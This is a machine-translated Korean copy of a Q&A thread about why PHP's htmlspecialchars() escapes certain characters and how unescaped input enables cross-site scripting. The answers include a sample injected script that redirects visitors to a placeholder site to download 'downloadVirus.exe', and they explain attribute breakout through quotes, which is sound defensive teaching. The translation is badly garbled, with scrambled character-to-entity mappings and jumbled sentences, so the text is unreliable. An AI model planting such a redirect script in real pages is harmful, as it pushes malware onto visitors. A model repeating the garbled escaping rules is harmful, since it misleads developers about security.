1
PHP에서

는 문자열에 다음과 같은 대체를 수행 htmlspecialchars()라는 기능이 있습니다 :왜이 5 (6?) 문자가 "안전하지 않은"HTML 문자로 간주됩니까?

    &
  • " (큰 따옴표)로 변환된다 (앰퍼샌드) "
  • '로 변환됩니다 &
  • (작은 따옴표)는 '으로 변환됩니다 (ENT_QUOTES 플래그가 설정된 경우에만)
  • < (보다 작음)을 &lt;
  • > (이상은)이 5 개 특정 문자가 안전하지 않은 HTML 문자임을 분명히,이 땅에 이루어집니다 &gt;

로 변환됩니다.

마지막 두 개가 안전하지 않은 것으로 이해할 수 있습니다. 간단히 "에코"된 경우 <script>과 같은 잠재적 인 자바 스크립트를 비롯하여 임의의/위험한 HTML이 배달 될 수 있습니다.

질문 1. 처음 세 문자 (앰퍼샌드, 큰 따옴표, 작은 따옴표)도 '안전하지 않은'것으로 간주되는 이유는 무엇입니까?


또한, I는 인코딩/디코딩 HTML 엔티티에 대해 인 this library called "he" on GitHub (by Mathias Bynens) 우연히. 저기, 내가 찾은 다음.

[...] HTML 내용의 사용 (&, <,>, ", ', 그리고`)가 인코딩됩니다에 대한 안전하지 않은 문자가 [...]

(source)

질문 2. 백틱 또 다른 안전하지 않은 HTML 문자를 고려에 대한 좋은 이유가 있습니까? 예,이 위에서 언급 한 PHP의 기능이 오래된 것을 의미하는 경우?

0 그 5/6 문자가 위에서 언급과 함께,

질문 3. '안전하지 않은'고려되어야 다른 문자가 있습니다


마지막으로,이 모든 질문을 구걸?

+0

이것은 실제로 질문에 대답하지 않지만 # 3을 다소 말합니다. XSS 취약점 등을 필터링 할 때 블랙리스트가 아닌 허용 목록을 사용하십시오. HTML을 허용해야한다면 매우 제한된 하위 집합이됩니다. 가능한 모든 잘못된 항목을 필터링하려고 시도하는 것은 좋은 항목 만 허용하는 것보다 훨씬 어렵습니다. – CollinD

+0

@CollinD 감사합니다 - 나는 그 5 문자 (6 자)를 단순히 이스케이프하는 것이 취약점을 예방하는 최선의 방법이 아니라는 것에 동의합니다. 내 질문은 정확히 5 문자가 다른 문자보다 "중요"하다고 여겨지는 이유와, 백틱과 같이 같은 봉지에 넣어야하는 문자가있는 경우에 관한 것입니다. – Hamsterrific

+0

이제 누구나이 질문에 무엇이 잘못 됐는지 짐작할 수 있습니까? 나는 설명없이 무작위 downvote를 받았다. 나는 그 질문을 개선/고치기를 기대하지만, 논평없이 나는 그것을 할 수 없다. 감사. – Hamsterrific

답변

4

Donovan_D의 대답은 거의 그것을 설명하는 설명/예제를 찾을 수 있지만, 여기 특히이 특정 문자가 문제를 일으킬 수있는 방법에 대한 몇 가지 예를 제공합니다
인코딩 된 것들의 이름). 그들이 XSS (크로스 사이트 스크립팅) 공격을 수행 (또는 무죄 입력에 실수로 페이지를 중단) 할 수있는 가장 확실한 방법이기 때문에

그 문자는 안전하지 않은 것으로 간주한다.

웹 사이트에서 의견 기능을 고려하십시오. 텍스트 영역이있는 양식을 제출하십시오. 그것은 데이터베이스에 저장되고 모든 방문자에 대한 페이지에 표시됩니다.

는 지금은 다음과 같습니다 코멘트를 작성.

<script type="text/javascript"> 
    window.top.location.href="http://www.someverybadsite.website/downloadVirus.exe"; 
</script> 

갑자기 내 페이지를 방문하는 모든 사람이 바이러스 다운로드로 리디렉션됩니다.

<>

&lt;&gt;로 대체됩니다 지금 갑자기 우리의 스크립트가 스크립트되지 않습니다 : 여기 순진 접근 방식은의 그 공격의 중요한 일부 문자를 필터링 할 수 좋아 wellt 편, 말을하는 것입니다. 그것은 단지 html-looking 텍스트입니다.

유사한 상황은 사용자가 어떤 이유로 강조 <<...>>를 사용하는 가정 할

Something is <<wrong>> here. 

같은 의견에 arsises. 그들의 코멘트는

무언가는 <입니다.

분명히

바람직하지 행동.

덜 악성 상황은 &으로 발생한다. &는 HTML 엔티티를 나타내는 데 사용되는 등 &amp;&quot;&lt; 등 무고한 보이는 텍스트가 실수로 HTML 개체 수와 매우 다른 및 사용자에 대한 매우 이상한 찾고 결국하는 것이 매우 쉽다 그래서있다.

이 정말 그들이 구입할 수있을 때 알려 주시기 바랍니다 # 455 ó처럼

I로 렌더링 될 주석에게

I really like #455 &#243; please let me know when they're available for purchase. 

을 고려하십시오.

은 물론 동작을위한 것이 아닙니다.

요컨대, 이러한 기호는 대부분의 XSS 취약성/버그를 예방하는 데 중요한 요소로 식별되었지만 유효한 입력에서 사용하기 쉽지만 HTML로 올바르게 렌더링하려면 이스케이프해야합니다.

두 번째 질문에 나는 백틱이 안전하지 않은 HTML 문자로 간주되어야한다는 것을 개인적으로 인식하지 못했습니다.

세 번째는 어쩌면. 블랙리스트를 사용하여 사용자 입력을 필터링하지 마십시오. 대신, 알려진 OK 입력의 화이트리스트를 사용하고 거기에서 작업하십시오.

+0

대단히 고마워요. 따옴표는 어때? 그것들은 속성을 둘러싸 기 위해 사용됩니다. 잘 압니다.하지만 그것에 대해 자세히 설명해 줄 수 있습니까? 그들은 스스로 해를 끼칠 수 있습니까? (즉, '<>'의 "도움"없이) – Hamsterrific

+2

어쩌면. 나는 철저히 "아니오"라고 말하는 것을 주저합니다. 자세한 내용은 https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet에서 확인할 수 있습니다. 가장 명백한 문제는 사용자 입력을 받아서 속성으로 치면 분명히 따옴표로 인해 해를 입히고 속성 자체를 벗어날 수 있습니다. 예를 들어, 사용자가 이미지 제목을 입력하고'img' 태그의'title' 속성에서 그것을 사용할 수있게하면, 사용자는 따옴표를 빠져 나오기 만하면'img' 태그의'src' 속성을 잠재적으로 변경할 수 있습니다. – CollinD

+3

컨텍스트가 모든 것입니다. 'htmlspecialchars()'PHP 함수는 단순히 HTML 문서 (HTML 문서 내의 모든 곳)에서 특별한 의미를 가질 수있는 문자를 이스케이프하기위한 일반적인 함수입니다. 그것은 단순히 출력을 "안전"시키는 것이 아닙니다. 사실, PHP 문서는 "안전하지 않은"문자를 참조하지 않습니다. 따옴표는 텍스트 본문에 사용될 때 완벽하게 괜찮지 만 HTML 속성 내에서 사용될 때 출력을 깨뜨릴 수 있습니다 (단, 동일한 따옴표를 사용하여 속성을 구분하는 경우에만). Markdown에 대한 출력을 구문 분석 할 경우 백틱이 문제가 될 수 있습니다. _ 컨텍스트가 중요합니다. – MrWhite

0

이러한 문자는 HTML에서 <>이 태그를 정의하기 때문에 안전하지 않습니다.
""''은 속성을 둘러싸는 데 사용됩니다.
&은 html 엔티티에서 사용되기 때문에 인코딩됩니다.
다른 문자 인코딩되지해야하지만 그들은 전 될 수 있습니다
무역 기호가 유로 모든 이모티콘은 HTML 엔티티에서 할 수
합니다 (&euro; 수 있습니다 &trade; 미국 달러 기호 &dollar;로 만들 수 있습니다
로 만들 수 있습니다 당신이 here

+0

감사합니다. 그러나이 질문에는 대답하지 않습니다. 방금 인용 부호와 앰퍼샌드가 사용되는 곳을 언급했습니다. 내 질문은 어떤 기호가 주사를 허용하는 데 위험한 지에 관한 것입니다 (더 중요한 것은 * 왜 *). – Hamsterrific